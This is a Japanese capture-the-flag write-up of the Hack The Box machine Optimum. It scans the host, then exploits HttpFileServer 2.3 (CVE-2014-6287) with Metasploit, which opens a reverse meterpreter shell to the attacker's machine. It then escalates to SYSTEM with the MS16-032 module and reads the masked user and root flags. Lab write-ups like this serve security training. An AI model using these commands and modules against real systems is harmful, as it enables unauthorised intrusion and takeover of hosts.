まえがき
この記事はOptimumのWriteupになっています📝
ダブルピースおじさんを攻略していきます。
Machine Info
Name: Optimum
IP Adress: 10.10.10.8
OS: Windows 🪟
Recon
Port Scan - Nmap
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# nmap 10.10.10.8 -Pn -v -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-02 00:23 JST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 00:23
Completed NSE at 00:23, 0.00s elapsed
Initiating NSE at 00:23
Completed NSE at 00:23, 0.00s elapsed
Initiating NSE at 00:23
Completed NSE at 00:23, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 00:23
Completed Parallel DNS resolution of 1 host. at 00:23, 0.08s elapsed
Initiating SYN Stealth Scan at 00:23
Scanning 10.10.10.8 [1000 ports]
Discovered open port 80/tcp on 10.10.10.8
Completed SYN Stealth Scan at 00:23, 23.47s elapsed (1000 total ports)
Initiating Service scan at 00:23
Scanning 1 service on 10.10.10.8
Completed Service scan at 00:24, 6.76s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 10.10.10.8
Retrying OS detection (try #2) against 10.10.10.8
Initiating Traceroute at 00:24
Completed Traceroute at 00:24, 0.61s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 00:24
Completed Parallel DNS resolution of 2 hosts. at 00:24, 0.03s elapsed
NSE: Script scanning 10.10.10.8.
Initiating NSE at 00:24
Completed NSE at 00:24, 7.16s elapsed
Initiating NSE at 00:24
Completed NSE at 00:24, 1.38s elapsed
Initiating NSE at 00:24
Completed NSE at 00:24, 0.00s elapsed
Nmap scan report for 10.10.10.8
Host is up (0.44s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-title: HFS /
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-favicon: Unknown favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1
|_http-server-header: HFS 2.3
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2012|8|Phone|7 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2012 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Server 2012 (89%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows Embedded Standard 7 (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.273 days (since Mon Jan 1 17:50:41 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 597.19 ms 10.10.14.1
2 597.21 ms 10.10.10.8
NSE: Script Post-scanning.
Initiating NSE at 00:24
Completed NSE at 00:24, 0.00s elapsed
Initiating NSE at 00:24
Completed NSE at 00:24, 0.00s elapsed
Initiating NSE at 00:24
Completed NSE at 00:24, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.66 seconds
Raw packets sent: 2094 (95.844KB) | Rcvd: 56 (3.272KB)
80番のポートのみ開いていることがわかる。
Site - http://10.10.10.8
実際にアクセスしてみるとこんなページが見つかる。
Loginをクリックすると認証が求められる。
homeやその他のボタンも試してみるが、とりあえずは何もなさそう。
Enumeration
他に見落としがないか確認していく。
dirsearch
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# dirsearch -u http://10.10.10.8
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/Desktop/work/reports/http_10.10.10.8/_24-01-02_00-34-22.txt
Target: http://10.10.10.8/
[00:34:22] Starting:
[00:37:10] 200 - 576B - /favicon.ico
Task Completed
あまり注目すべき階層はなかったようだ。
Login部分もBurpを立ち上げ検証をしてみたが、今のところ有益な情報は手に入らなかったため、違うアプローチをしていくことにする。
Server Infomationのセクションをみてみると、HttpFileServer 2.3が使用されていることが分かる。これについて詳しく調査していこう。
Identification of Vulnerbility
CVE-2014-6287
Http File Server 2.3 Vulnで調べると、Remote Command Executionの脆弱性が発見できる。悪用していこう。
Exploit the Vulnerbility
github
良さげなコードを見つけた。ためしてみる。
┌──(root㉿kali)-[/home/kali/Desktop/work/Rejetto-HTTP-File-Server-HFS-2.3.x---Remote-Command-Execution]
└─# python3 hfs-2-3-exploit.py
Local Host IP : 10.10.14.4
Listen Port : 4444
Remote Host IP : 10.10.10.8
HTTP FileServer Port: 80
[+] Checking URL Is HTTP FileServer 2.3...
[+] Target is online and appears to be HttpFileServer 2.3
[+} Building Exploit
[+] Do you want me to start a Netcat Listener for you? (Y/n): Y
[+] Sending Exploit
[+] Starting Netcat on Port: 4444
!!!! --- Press Enter After Connection Established --- !!!!
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.8] 49169
^C
少し待機してみたが、うまくいかなかったため断念。
metasploit
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# msfconsole
Metasploit tip: You can pivot connections over sessions started with the
ssh_login modules
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM MMMMMMMMMM
MMMN$ vMMMM
MMMNl MMMMM MMMMM JMMMM
MMMNl MMMMMMMN NMMMMMMM JMMMM
MMMNl MMMMMMMMMNmmmNMMMMMMMMM JMMMM
MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM
MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM
MMMNI MMMMM MMMMMMM MMMMM jMMMM
MMMNI MMMMM MMMMMMM MMMMM jMMMM
MMMNI MMMNM MMMMMMM MMMMM jMMMM
MMMNI WMMMM MMMMMMM MMMM# JMMMM
MMMMR ?MMNM MMMMM .dMMMM
MMMMNm `?MMM MMMM` dMMMMM
MMMMMMN ?MM MM? NMMMMMN
MMMMMMMMNe JMMMMMNMMM
MMMMMMMMMMNm, eMMMMMNMMNMM
MMMMNNMNMMMMMNx MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
https://metasploit.com
=[ metasploit v6.3.43-dev ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post ]
+ -- --=[ 1388 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search CVE-2014-6287
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/rejetto_hfs_exec 2014-09-11 excellent Yes Rejetto HttpFileServer Remote Command Execution
Exploitが１つだけ見つかった。使っていこう。
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
show optionsで設定を確認しつつ、必要部分を設定していこう。
msf6 exploit(windows/http/rejetto_hfs_exec) > show options
Module options (exploit/windows/http/rejetto_hfs_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 no Seconds to wait before terminating web server
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to liste
n on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The path of the web application
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.236.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
LHOST部分とRHOSTS部分が必要っぽい。
msf6 exploit(windows/http/rejetto_hfs_exec) > set LHOST 10.10.14.4
LHOST => 10.10.14.4
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOST 10.10.10.8
RHOST => 10.10.10.8
msf6 exploit(windows/http/rejetto_hfs_exec) > show options
Module options (exploit/windows/http/rejetto_hfs_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 no Seconds to wait before terminating web server
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.8 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to liste
n on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The path of the web application
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.4 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
設定完了。実行しよう。
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit
[*] Started reverse TCP handler on 10.10.14.4:4444
[*] Using URL: http://10.10.14.4:8080/px8cI3cT
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /px8cI3cT
[*] Sending stage (175686 bytes) to 10.10.10.8
[!] Tried to delete %TEMP%\LKpMxyyxCUCw.vbs, unknown result
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.8:49162) at 2024-01-01 23:21:44 +0900
[*] Server stopped.
meterpreter >
shellがとれたようだ。
meterpreter > shell
Process 1896 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>whoami
whoami
optimum\kostas
Analysis & Recon
探ってみる。user.txtが見つかる。
C:\Users\kostas\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is EE82-226D
Directory of C:\Users\kostas\Desktop
08/01/2024 01:19 �� <DIR> .
08/01/2024 01:19 �� <DIR> ..
08/01/2024 01:19 �� <DIR> %TEMP%
18/03/2017 02:11 �� 760.320 hfs.exe
07/01/2024 07:49 �� 34 user.txt
2 File(s) 760.354 bytes
3 Dir(s) 5.673.996.288 bytes free
C:\Users\kostas\Desktop>cat user.txt
cat user.txt
'cat' is not recognized as an internal or external command,
operable program or batch file.
C:\Users\kostas\Desktop>type user.txt
type user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のUserFlag
いつものようにcatコマンドを使用してしまったが、Windowsマシンであることを忘れずに。今回はtypeで出力しよう。
Privilege Escalation
root.txtを見るためには、権限昇格をする必要がある。
backgroundにしてから、Multi Recon Local Exploit Suggesterを使って脆弱性を探索していこう。
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/http/rejetto_hfs_exec) > search suggester
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester
Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
msf6 exploit(windows/http/rejetto_hfs_exec) > use 0
show optionsで設定確認。
msf6 post(multi/recon/local_exploit_suggester) > show options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits
View the full module info with the info, or info -d command.
SESSIONを設定していく。
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 2
SESSION => 2
msf6 post(multi/recon/local_exploit_suggester) > show options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 2 yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits
View the full module info with the info, or info -d command.
設定完了。実行しよう。
msf6 post(multi/recon/local_exploit_suggester) > exploit
[*] 10.10.10.8 - Collecting local exploits for x86/windows...
[*] 10.10.10.8 - 188 exploit checks are being tried...
[+] 10.10.10.8 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.8 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.
[+] 10.10.10.8 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!
[+] 10.10.10.8 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.8 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[*] Running check method for exploit 41 / 41
[*] 10.10.10.8 - Valid modules for session 2:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable.
2 exploit/windows/local/bypassuac_sluihijack Yes The target appears to be vulnerable.
3 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move Yes The service is running, but could not be validated. Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!
4 exploit/windows/local/ms16_032_secondary_logon_handle_privesc Yes The service is running, but could not be validated.
5 exploit/windows/local/tokenmagic Yes The target appears to be vulnerable.
6 exploit/windows/local/adobe_sandbox_adobecollabsync No Cannot reliably check exploitability.
7 exploit/windows/local/agnitum_outpost_acs No The target is not exploitable.
8 exploit/windows/local/always_install_elevated No The target is not exploitable.
9 exploit/windows/local/anyconnect_lpe No The target is not exploitable. vpndownloader.exe not found on file system
10 exploit/windows/local/bits_ntlm_token_impersonation No The target is not exploitable.
11 exploit/windows/local/bthpan No The target is not exploitable.
12 exploit/windows/local/bypassuac_fodhelper No The target is not exploitable.
13 exploit/windows/local/canon_driver_privesc No The target is not exploitable. No Canon TR150 driver directory found
14 exploit/windows/local/cve_2020_1048_printerdemon No The target is not exploitable.
15 exploit/windows/local/cve_2020_1337_printerdemon No The target is not exploitable.
16 exploit/windows/local/gog_galaxyclientservice_privesc No The target is not exploitable. Galaxy Client Service not found
17 exploit/windows/local/ikeext_service No The check raised an exception.
18 exploit/windows/local/ipass_launch_app No The check raised an exception.
19 exploit/windows/local/lenovo_systemupdate No The check raised an exception.
20 exploit/windows/local/lexmark_driver_privesc No The check raised an exception.
21 exploit/windows/local/mqac_write No The target is not exploitable.
22 exploit/windows/local/ms10_015_kitrap0d No The target is not exploitable.
23 exploit/windows/local/ms10_092_schelevator No The target is not exploitable. Windows 2012 R2 (6.3 Build 9600). is not vulnerable
24 exploit/windows/local/ms13_053_schlamperei No The target is not exploitable.
25 exploit/windows/local/ms13_081_track_popup_menu No Cannot reliably check exploitability.
26 exploit/windows/local/ms14_058_track_popup_menu No The target is not exploitable.
27 exploit/windows/local/ms14_070_tcpip_ioctl No The target is not exploitable.
28 exploit/windows/local/ms15_004_tswbproxy No The target is not exploitable.
29 exploit/windows/local/ms15_051_client_copy_image No The target is not exploitable.
30 exploit/windows/local/ms16_016_webdav No The target is not exploitable.
31 exploit/windows/local/ms16_075_reflection No The target is not exploitable.
32 exploit/windows/local/ms16_075_reflection_juicy No The target is not exploitable.
33 exploit/windows/local/ms_ndproxy No The target is not exploitable.
34 exploit/windows/local/novell_client_nicm No The target is not exploitable.
35 exploit/windows/local/ntapphelpcachecontrol No The check raised an exception.
36 exploit/windows/local/ntusermndragover No The target is not exploitable.
37 exploit/windows/local/panda_psevents No The target is not exploitable.
38 exploit/windows/local/ppr_flatten_rec No The target is not exploitable.
39 exploit/windows/local/ricoh_driver_privesc No The target is not exploitable. No Ricoh driver directory found
40 exploit/windows/local/virtual_box_guest_additions No The target is not exploitable.
41 exploit/windows/local/webexec No The check raised an exception.
[*] Post module execution completed
上5つが有効な可能性があるエクスプロイトだ。1つずつ試していった結果、4つめが使えた。
設定は先ほどのようにやっていく。
[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show options
Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.236.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
View the full module info with the info, or info -d command.
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set lhost 10.10.14.4
lhost => 10.10.14.4
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set session 2
session => 2
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show options
Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 2 yes The session to run this module on
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.4 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
View the full module info with the info, or info -d command.
実行。
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run
[*] Started reverse TCP handler on 10.10.14.4:4444
[+] Compressed size: 1160
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\BcgFSuoEtx.ps1...
[*] Compressing script contents...
[+] Compressed size: 3743
[*] Executing exploit script...
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 1220
[*] Sniffing out privileged impersonation token..
[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[ref] cannot be applied to a variable that does not exist.
At line:200 char:3
+ $qAz = [Ntdll]::NtImpersonateThread($wM6, $wM6, [ref]$b_AQ)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (b_AQ:VariablePath) [], Runtim
eException
+ FullyQualifiedErrorId : NonExistingVariableReference
[!] NtImpersonateThread failed, exiting..
[+] Thread resumed!
[*] Sniffing out SYSTEM shell..
[>] Duplicating SYSTEM token
Cannot convert argument "ExistingTokenHandle", with value: "", for "DuplicateTo
ken" to type "System.IntPtr": "Cannot convert null to type "System.IntPtr"."
At line:259 char:2
+ $qAz = [Advapi32]::DuplicateToken($rJG, 2, [ref]$ftoaU)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodException
+ FullyQualifiedErrorId : MethodArgumentConversionInvalidCastArgument
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!
KHPgiZYP84alGvOsQ1GzdNieqyEW7ItF
[+] Executed on target machine.
[*] Sending stage (175686 bytes) to 10.10.10.8
[*] Meterpreter session 3 opened (10.10.14.4:4444 -> 10.10.10.8:49168) at 2024-01-02 00:03:47 +0900
[+] Deleted C:\Users\kostas\AppData\Local\Temp\BcgFSuoEtx.ps1
meterpreter >
権限昇格もうまくいったようだ。
meterpreter > shell
Process 336 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>cd /
cd /
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is EE82-226D
Directory of C:\
22/08/2013 05:52 �� <DIR> PerfLogs
31/12/2017 06:14 �� <DIR> Program Files
22/08/2013 05:39 �� <DIR> Program Files (x86)
18/03/2017 01:57 �� <DIR> Users
18/03/2017 01:53 �� <DIR> Windows
0 File(s) 0 bytes
5 Dir(s) 5.686.956.032 bytes free
C:\>cd Users
cd Users
C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is EE82-226D
Directory of C:\Users
18/03/2017 01:57 �� <DIR> .
18/03/2017 01:57 �� <DIR> ..
18/03/2017 01:52 �� <DIR> Administrator
18/03/2017 01:57 �� <DIR> kostas
22/08/2013 05:39 �� <DIR> Public
0 File(s) 0 bytes
5 Dir(s) 5.686.956.032 bytes free
Administratorがある。移動してみよう。
C:\Users>cd Administrator
cd Administrator
C:\Users\Administrator>dir
dir
Volume in drive C has no label.
Volume Serial Number is EE82-226D
Directory of C:\Users\Administrator
18/03/2017 01:52 �� <DIR> .
18/03/2017 01:52 �� <DIR> ..
18/03/2017 01:52 �� <DIR> Contacts
18/03/2017 02:14 �� <DIR> Desktop
18/03/2017 01:52 �� <DIR> Documents
18/03/2017 01:52 �� <DIR> Downloads
18/03/2017 01:52 �� <DIR> Favorites
18/03/2017 01:52 �� <DIR> Links
18/03/2017 01:52 �� <DIR> Music
18/03/2017 01:52 �� <DIR> Pictures
18/03/2017 01:52 �� <DIR> Saved Games
18/03/2017 01:52 �� <DIR> Searches
18/03/2017 01:52 �� <DIR> Videos
0 File(s) 0 bytes
13 Dir(s) 5.686.956.032 bytes free
C:\Users\Administrator>cd Desktop
cd Desktop
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is EE82-226D
Directory of C:\Users\Administrator\Desktop
18/03/2017 02:14 �� <DIR> .
18/03/2017 02:14 �� <DIR> ..
07/01/2024 07:49 �� 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 5.686.956.032 bytes free
C:\Users\Administrator\Desktop>type root.txt
type root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のRootFlag
RootFlagGet。
あとがき
かなり簡単なマシンでした。Metasploitの練習や復習には良いかもですね。今回のマシンアイコンのダブルピースおじさんなんか好き。
